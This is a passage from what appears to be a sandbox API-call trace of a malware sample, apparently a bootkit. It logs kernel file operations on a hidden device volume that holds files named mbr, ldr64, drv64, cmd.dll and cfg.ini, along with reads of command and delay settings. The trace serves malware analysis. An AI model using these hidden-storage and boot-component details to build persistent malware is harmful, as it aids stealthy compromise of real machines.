SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.004] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.004] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.004] IdePortDispatch () returned 0x103 [0129.004] KeWaitForMutexObject () returned 0x0 [0129.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.005] KeLeaveCriticalRegion () [0129.005] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.005] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.005] KeEnterCriticalRegion () [0129.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.005] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.005] KeLeaveCriticalRegion () [0129.005] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.005] KeEnterCriticalRegion () [0129.005] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.005] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.005] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02f20, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.005] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.005] KeLeaveCriticalRegion () [0129.005] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.005] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.005] KeEnterCriticalRegion () [0129.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.006] ExFreePoolWithTag (P=0xfffffa80037da800, Tag=0x0) [0129.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.006] KeLeaveCriticalRegion () [0129.006] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.006] ReleaseMutex (hMutex=0xf0) returned 1 [0129.006] WaitForSingleObject (hHandle=0x108, dwMilliseconds=0x0) returned 0x102 [0129.006] WaitForSingleObject (hHandle=0x100, dwMilliseconds=0xffffffff) returned 0x0 [0129.006] CreateFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffffffffffff [0129.006] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.006] KeEnterCriticalRegion () [0129.006] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.006] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.006] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.006] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.006] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.006] IdePortDispatch () returned 0x103 [0129.006] KeWaitForMutexObject () returned 0x0 [0129.006] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.006] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.006] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.006] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.006] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.006] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.006] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.006] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.006] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.006] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.006] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.006] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.006] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.006] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.006] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.006] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.007] KeLeaveCriticalRegion () [0129.007] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.007] DeleteFileA (lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\lsash.xp" (normalized: "\\device\\000001a9\\0d24eb7c\\lsash.xp")) returned 0 [0129.007] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\lsash.xp") returned 17 [0129.007] KeEnterCriticalRegion () [0129.007] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.007] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.007] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.007] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.007] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.007] IdePortDispatch () returned 0x103 [0129.007] KeWaitForMutexObject () returned 0x0 [0129.007] _strnicmp (_Str1="cfg.ini", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.007] _strnicmp (_Str1="mbr", _Str="lsash.xp", _MaxCount=0x10) returned 1 [0129.007] _strnicmp (_Str1="ldr16", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.007] _strnicmp (_Str1="ldr32", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.007] _strnicmp (_Str1="ldr64", _Str="lsash.xp", _MaxCount=0x10) returned -15 [0129.007] _strnicmp (_Str1="drv32", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.007] _strnicmp (_Str1="drv64", _Str="lsash.xp", _MaxCount=0x10) returned -8 [0129.007] _strnicmp (_Str1="cmd.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.007] _strnicmp (_Str1="cmd64.dll", _Str="lsash.xp", _MaxCount=0x10) returned -9 [0129.007] _strnicmp (_Str1="bckfg.tmp", _Str="lsash.xp", _MaxCount=0x10) returned -10 [0129.007] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.007] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.007] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.007] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.007] _strnicmp (_Str1="", _Str="lsash.xp", _MaxCount=0x10) returned -108 [0129.007] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.007] KeLeaveCriticalRegion () [0129.007] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.007] ReleaseMutex (hMutex=0x100) returned 1 [0129.007] Sleep (dwMilliseconds=0x2bf20) [0129.014] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x151f4c8 | out: lpSystemTimeAsFileTime=0x151f4c8*(dwLowDateTime=0x7017c310, dwHighDateTime=0x1d24fa4)) [0129.015] RtlTimeToSecondsSince1970 (in: Time=0x151f4c8, ElapsedSeconds=0x151f4b0 | out: ElapsedSeconds=0x151f4b0) returned 1 [0129.015] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.015] GetPrivateProfileIntA (lpAppName="main", lpKeyName="knt", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.015] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.015] KeEnterCriticalRegion () [0129.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.015] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.015] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.015] IdePortDispatch () returned 0x103 [0129.015] KeWaitForMutexObject () returned 0x0 [0129.015] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.015] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.015] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.015] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.015] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.015] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa80037dab40 [0129.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.015] KeLeaveCriticalRegion () [0129.015] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.015] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.015] KeEnterCriticalRegion () [0129.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.015] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.015] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.015] KeLeaveCriticalRegion () [0129.015] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.015] KeEnterCriticalRegion () [0129.015] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.015] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.015] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.016] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.016] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.016] IdePortDispatch () returned 0x103 [0129.016] KeWaitForMutexObject () returned 0x0 [0129.016] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.016] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.016] KeLeaveCriticalRegion () [0129.016] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.016] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.016] KeEnterCriticalRegion () [0129.016] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.016] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b82000 [0129.016] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.016] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.016] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.016] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.016] IdePortDispatch () returned 0x103 [0129.016] KeWaitForMutexObject () returned 0x0 [0129.016] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.016] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.016] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.016] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.016] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.016] IdePortDispatch () returned 0x103 [0129.017] KeWaitForMutexObject () returned 0x0 [0129.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.017] KeLeaveCriticalRegion () [0129.017] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.017] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.017] KeEnterCriticalRegion () [0129.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.017] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.017] KeLeaveCriticalRegion () [0129.017] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.017] KeEnterCriticalRegion () [0129.017] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.017] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.017] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa8003c02320, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.017] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.017] KeLeaveCriticalRegion () [0129.017] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.018] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.018] KeEnterCriticalRegion () [0129.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.018] ExFreePoolWithTag (P=0xfffffa80037dab40, Tag=0x0) [0129.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.018] KeLeaveCriticalRegion () [0129.018] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.018] ReleaseMutex (hMutex=0xf0) returned 1 [0129.018] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.018] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="dlc_srand", nDefault=0, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0x0 [0129.018] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.018] KeEnterCriticalRegion () [0129.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.018] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.018] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.018] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.018] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.018] IdePortDispatch () returned 0x103 [0129.018] KeWaitForMutexObject () returned 0x0 [0129.018] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.018] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.018] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.018] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.018] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.018] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7c00 [0129.018] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.018] KeLeaveCriticalRegion () [0129.018] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.018] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.018] KeEnterCriticalRegion () [0129.018] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.018] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.019] KeLeaveCriticalRegion () [0129.019] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.019] KeEnterCriticalRegion () [0129.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.019] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.019] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.019] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.019] KeInitializeEvent (in: Event=0xfffff880028b2620, Type=0x0, State=0 | out: Event=0xfffff880028b2620) [0129.019] IdePortDispatch () returned 0x103 [0129.019] KeWaitForMutexObject () returned 0x0 [0129.019] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.019] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.019] KeLeaveCriticalRegion () [0129.019] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.019] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.019] KeEnterCriticalRegion () [0129.019] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.019] MmMapLockedPagesSpecifyCache (MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, CacheType=0x1, BaseAddress=0x0, BugCheckOnFailure=0x0, Priority=0x10) returned 0xfffff88000b83000 [0129.019] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.019] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.019] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.019] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.019] IdePortDispatch () returned 0x103 [0129.019] KeWaitForMutexObject () returned 0x0 [0129.020] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.020] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.020] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003baf190 [0129.020] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003baf190, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003baf190) [0129.020] KeInitializeEvent (in: Event=0xfffff880028b25d0, Type=0x0, State=0 | out: Event=0xfffff880028b25d0) [0129.020] IdePortDispatch () returned 0x103 [0129.020] KeWaitForMutexObject () returned 0x0 [0129.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.020] KeLeaveCriticalRegion () [0129.020] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.020] _snprintf (in: _Dest=0xfffff880028b2790, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.020] KeEnterCriticalRegion () [0129.020] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.020] FsRtlProcessFileLock (FileLock=0xfffffa80027daf78, Irp=0xfffffa8003aa6e20, Context=0x0) returned 0x0 [0129.020] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.020] KeLeaveCriticalRegion () [0129.021] _snprintf (in: _Dest=0xfffff880028b2750, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.021] KeEnterCriticalRegion () [0129.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.021] IoGetRequestorProcess (Irp=0xfffffa8003aa6e20) returned 0xfffffa80034fca60 [0129.021] FsRtlFastUnlockAll (FileLock=0xfffffa80027daf78, FileObject=0xfffffa800c4f7cc0, ProcessId=0xfffffa80034fca60, Context=0x0) returned 0xc000007e [0129.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.021] KeLeaveCriticalRegion () [0129.021] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.021] _snprintf (in: _Dest=0xfffff880028b2770, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.021] KeEnterCriticalRegion () [0129.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.021] ExFreePoolWithTag (P=0xfffffa800c4f7c00, Tag=0x0) [0129.021] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.021] KeLeaveCriticalRegion () [0129.021] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.021] ReleaseMutex (hMutex=0xf0) returned 1 [0129.021] WaitForSingleObject (hHandle=0xf0, dwMilliseconds=0xffffffff) returned 0x0 [0129.021] GetPrivateProfileIntA (lpAppName="cmd", lpKeyName="delay", nDefault=3600, lpFileName="\\\\?\\globalroot\\device\\000001a9\\0d24eb7c\\cfg.ini") returned 0xe10 [0129.021] _snprintf (in: _Dest=0xfffff880028b2450, _Count=0x103, _Format="%.*S" | out: _Dest="0d24eb7c\\cfg.ini") returned 16 [0129.021] KeEnterCriticalRegion () [0129.021] ExAcquireFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.021] IoAllocateIrp (StackSize=1, ChargeQuota=0) returned 0xfffffa8007ffba30 [0129.021] IoAllocateMdl (in: VirtualAddress=0xfffffa80027d1670, Length=0x200, SecondaryBuffer=0, ChargeQuota=0, Irp=0xfffffa8007ffba30 | out: Irp=0xfffffa8007ffba30) returned 0xfffffa8003b863b0 [0129.021] MmProbeAndLockPages (in: MemoryDescriptorList=0xfffffa8003b863b0, AccessMode=0x0, Operation=0x2 | out: MemoryDescriptorList=0xfffffa8003b863b0) [0129.021] KeInitializeEvent (in: Event=0xfffff880028b22c0, Type=0x0, State=0 | out: Event=0xfffff880028b22c0) [0129.021] IdePortDispatch () returned 0x103 [0129.021] KeWaitForMutexObject () returned 0x0 [0129.021] _strnicmp (_Str1="cfg.ini", _Str="cfg.ini", _MaxCount=0x10) returned 0 [0129.021] _strnicmp (_Str1="cmd.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.021] _strnicmp (_Str1="cmd64.dll", _Str="cfg.ini", _MaxCount=0x10) returned 7 [0129.021] strncpy (in: _Dest=0xfffffa80027daf68, _Source="cfg.ini", _Count=0x10 | out: _Dest="cfg.ini") returned="cfg.ini" [0129.021] FsRtlInitializeFileLock (FileLock=0xfffffa80027daf78, CompleteLockIrpRoutine=0x0, UnlockRoutine=0x0) [0129.022] FsRtlAllocatePool (PoolType=0x0, NumberOfBytes=0x50) returned 0xfffffa800c4f7f00 [0129.022] ExReleaseFastMutexUnsafe (in: FastMutex=0xfffffa80027d3898 | out: FastMutex=0xfffffa80027d3898) [0129.022] KeLeaveCriticalRegion () [0129.022] IofCompleteRequest (Irp=0xfffffa8003aa6e20, PriorityBoost=0) [0129.022] _snprintf (in: _Dest=0xfffff880028b2780, _Count=0x103, 